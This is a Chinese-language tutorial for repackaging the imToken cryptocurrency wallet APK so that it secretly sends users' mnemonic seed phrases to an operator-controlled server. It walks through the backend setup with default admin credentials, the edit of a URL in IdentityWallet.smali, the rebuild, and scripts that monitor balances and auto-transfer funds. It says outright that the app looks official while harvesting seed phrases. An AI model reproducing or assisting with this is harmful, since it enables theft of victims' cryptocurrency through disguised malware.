大家好,我们今天来做一个imtoken钱包的打包与搭建教程
官方网站:souym.cc
环境:
宝塔+php7.3+mysql5.7
APK反编译工具(souym.cc可自行搜索下载)
宝塔的搭建和安装步骤我就省略了
搭建网站步骤就很简单了 先将数据库导入宝塔
自己建立一个数据库 导入就可以了
然后将源码上传
/application/database.php
这里是数据库链接修改地址 将你的数据库账号密码 改一下
伪静态用thinkphp
网站目录选择public
记得做一个HTTPS
后台登陆地址:/sys/index/index.html
后台账号admin
密码:123456
配置tp5伪静态
php7.3 解除禁用函数
pcntl_fork ,pcntl_wait,pcntl_signal,pcntl_alarm,pcntl_waitpid,pcntl_signal_dispatch
这个函数 就是搜索出来然后删除就可以了
因为我网站已经搭建好了 我就不做过多演示 搭建步骤都比较简单
php安装 gmp 扩展
这个我已经安装了 我就不重复安装了
后台路径:
xxxx.com/sys
更改账户密码文件
application/sys/controller/Login.php
默认 admin fffcode
https://a1.souym.cc
网站搭建步骤相对很简单 几个步骤就完成了 这里我们来修改一下APK里面的一个链接
我们将imtoken.apk拖入安卓修改大师里面
然后选择 打开目录
地址:smali_classes3\org\consenlabs\tokencore\wallet\IdentityWallet.smali
你们打开这个文件后 搜索 a1.souym.cc
31行和202行
修改为你自己的域名
然后保存 打包
打包过程中 我们来添加一下余额更新 进入目录
在目录里 选择终端 你要先用ROOT登录终端 然后 执行以下命令
余额更新监控:
chmod 7777 GX
./GX
启动脚本
进入项目根目录
cd /www/wwwroot/xxxxxx.com
然后执行
开启命令是 start ,结束命令是stop,查看脚本状态 是status
php think taskox start
php think tasktrx start
php think taskstatus start
php think transfer start
这几个代码有报错 其实也不用管 因为GX就包含了所有查询余额命令了 所以 这几个可以不用
注意修改代码需要 重启下 命令
只要出现Forking就OK了
好了 我们稍等一下打包
因为我装了雷电模拟器 他打包完后 会自动安装进去
在这个过程中 我们简单看一下后台 系统设置 是这是你的U地址 一共三个链
大于多少自动回U
地址管理 就是别人的助记词 会同步到这个页面 我们一会测试一下
我先暂停一下 打包过程比较慢 打包完成后 我继续
刚暂停他就好了
我们现在 来测试一下
别人在创建和恢复助记词的时候 会通过我们在代码中修改的那个地址 将助记词发送到我们的数据库里面
这个钱包就是一个IMTOKEN的官方钱包 里面转账 使用都是正常的 只是我们在里面添加了一个接收助剂此的接口而已